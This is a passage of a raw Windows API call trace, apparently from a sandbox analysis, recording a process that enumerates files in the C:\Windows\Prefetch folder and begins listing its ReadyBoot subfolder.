ftLastWriteTime.dwLowDateTime=0x596ef850, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x5034, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-494BF4A6.pf", cAlternateFileName="VCREDI~3.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x228d2d10, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x228d2d10, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x228d2d10, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x688a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-56D7A872.pf", cAlternateFileName="VCBB51~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86eda330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x86eda330, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x86eda330, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0xbc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-826354CD.pf", cAlternateFileName="VC5F8E~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7ed590, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x6d7ed590, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x6d7ed590, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x7c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-9967FE13.pf", cAlternateFileName="VC9F36~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b4a0810, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x8b4a0810, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x8b4a0810, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6866, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-CA3B7CC7.pf", cAlternateFileName="VC1D41~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x47211150, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x47211150, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x47211150, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xc248, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-DFDC56E4.pf", cAlternateFileName="VC9310~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x286cc430, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x286cc430, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x286cc430, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x5aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-EBD2F28F.pf", cAlternateFileName="VCREDI~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5528570, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xa5528570, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xa5af5b10, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0xb1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X64.EXE-F6E1002A.pf", cAlternateFileName="VC4DCB~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c4c0e10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4c4c0e10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x4c4e6f70, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x56ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-3ADC4C2A.pf", cAlternateFileName="VCREDI~2.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78878a90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x78878a90, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x793ed470, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6c22, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-6DE4941D.pf", cAlternateFileName="VC1A45~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x73f204b0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x73f204b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x73f204b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0xbe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-73F3AC51.pf", cAlternateFileName="VC71DC~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c4d8fb0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9c4d8fb0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9c4d8fb0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x6d76, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-86B55B09.pf", cAlternateFileName="VC0ABB~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x671fda50, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x671fda50, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x671fda50, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x805c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-8AF85597.pf", cAlternateFileName="VCREDI~4.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29b14d10, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x29b14d10, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x2a108410, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xbd56, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-D16CAE68.pf", cAlternateFileName="VCDF1B~1.PF")) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x92813310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x92813310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x92e2cb70, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0xaed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VCREDIST_X86.EXE-E87157AE.pf", cAlternateFileName="VC5CE6~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7558bf0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa7558bf0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa8224230, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x6de4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-0296A65A.pf", cAlternateFileName="VC63C8~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ffd76d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x7ffd76d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x80c56a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x6be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-181ADD2D.pf", cAlternateFileName="VC9DDB~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x49318290, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x49318290, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x49318290, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x6be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-1E040CC3.pf", cAlternateFileName="VC_RED~2.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa30e9370, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa30e9370, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa30e9370, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x645c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-5F63F406.pf", cAlternateFileName="VC8640~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c15b550, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x7c15b550, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x7c15b550, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xdcc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-77512B5C.pf", cAlternateFileName="VC5573~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa30e9370, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xa30e9370, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xa30e9370, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xcd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-92A9F572.pf", cAlternateFileName="VCCBEF~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3cd9fd0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xb3cd9fd0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3d00130, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xc492, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-BAB5AC66.pf", cAlternateFileName="VC6EC6~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d7b61f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x8d7b61f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x8d7dc350, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xaba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X64.EXE-F35184BC.pf", cAlternateFileName="VC4749~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x73d93fb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x73d93fb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x75a70a70, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xab84, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-3C043218.pf", cAlternateFileName="VC22D5~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x324836f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x324836f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x324836f0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x70e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-4533071F.pf", cAlternateFileName="VC_RED~1.PF")) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x931fb7f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x931fb7f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x931fb7f0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x51be, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-50F44B8A.pf", cAlternateFileName="VC8B80~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93293d70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x93293d70, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x93293d70, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xd2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-6050B5C5.pf", cAlternateFileName="VCAF71~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52bf20b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x52bf20b0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x531e57b0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xdcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-68E182E0.pf", cAlternateFileName="VC_RED~3.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c88a770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x9c88a770, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x9cb5e190, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0xc542, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-9B57D45B.pf", cAlternateFileName="VCB2E3~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95befbb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x95befbb0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x95c15d10, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x6de4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-DC703B75.pf", cAlternateFileName="VC09AF~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x573cd8d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x573cd8d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x573cd8d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x70e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_REDIST.X86.EXE-F3225A02.pf", cAlternateFileName="VC_RED~4.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d35aa60, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x8d35aa60, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x8d35aa60, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x9a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="VM_SETUP.EXE-7C28A3C4.pf", cAlternateFileName="VM_SET~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bacb380, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x4bacb380, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xf2044ff0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0xb140, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSSVC.EXE-04D079CC.pf", cAlternateFileName="VSSVCE~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6bbd8360, ftCreationTime.dwHighDateTime=0x1d706aa, ftLastAccessTime.dwLowDateTime=0x6bbd8360, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x4f64b7f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x2ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WERMGR.EXE-2A1BCBC7.pf", cAlternateFileName="WERMGR~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b7ab7b0, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x3b7ab7b0, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x5176d250, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x47ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEVTUTIL.EXE-1150A673.pf", cAlternateFileName="WEVTUT~2.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3adffe50, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x3adffe50, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x5176d250, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x90e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEVTUTIL.EXE-C09B744F.pf", cAlternateFileName="WEVTUT~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6431bd60, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x6431bd60, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb16e47e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x56d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMIADAP.EXE-369DF1CD.pf", cAlternateFileName="WMIADA~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c05eb00, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x2c05eb00, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x3eff9360, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0xa72a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMIPRVSE.EXE-43972D0F.pf", cAlternateFileName="WMIPRV~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52576d60, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x52576d60, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2749bae0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x7614, dwReserved0=0x0, dwReserved1=0x0, cFileName="WUAUCLT.EXE-830BCC14.pf", cAlternateFileName="WUAUCL~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2476ad20, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x2476ad20, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x69b90650, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x14d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="WUSA.EXE-2455B4B3.pf", cAlternateFileName="WUSAEX~1.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea3b08f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xea3b08f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xedd5a2b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xeeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="WUSA.EXE-DCE00F57.pf", cAlternateFileName="WUSAEX~2.PF")) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x1bfbe870, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xea3b08f0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0xea3b08f0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xedd5a2b0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xeeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="WUSA.EXE-DCE00F57.pf", cAlternateFileName="WUSAEX~2.PF")) returned 0 [0077.756] FindClose (in: hFindFile=0x1bfbe870 | out: hFindFile=0x1bfbe870) returned 1 [0077.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0077.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0077.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0077.756] GetFullPathNameW (in: lpFileName="C:\\Windows\\Prefetch\\ReadyBoot", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Prefetch\\ReadyBoot", lpFilePart=0x0) returned 0x1d [0077.756] FindFirstFileW (in: lpFileName="C:\\Windows\\Prefetch\\ReadyBoot\\*" (normalized: "c:\\windows\\prefetch\\readyboot\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, 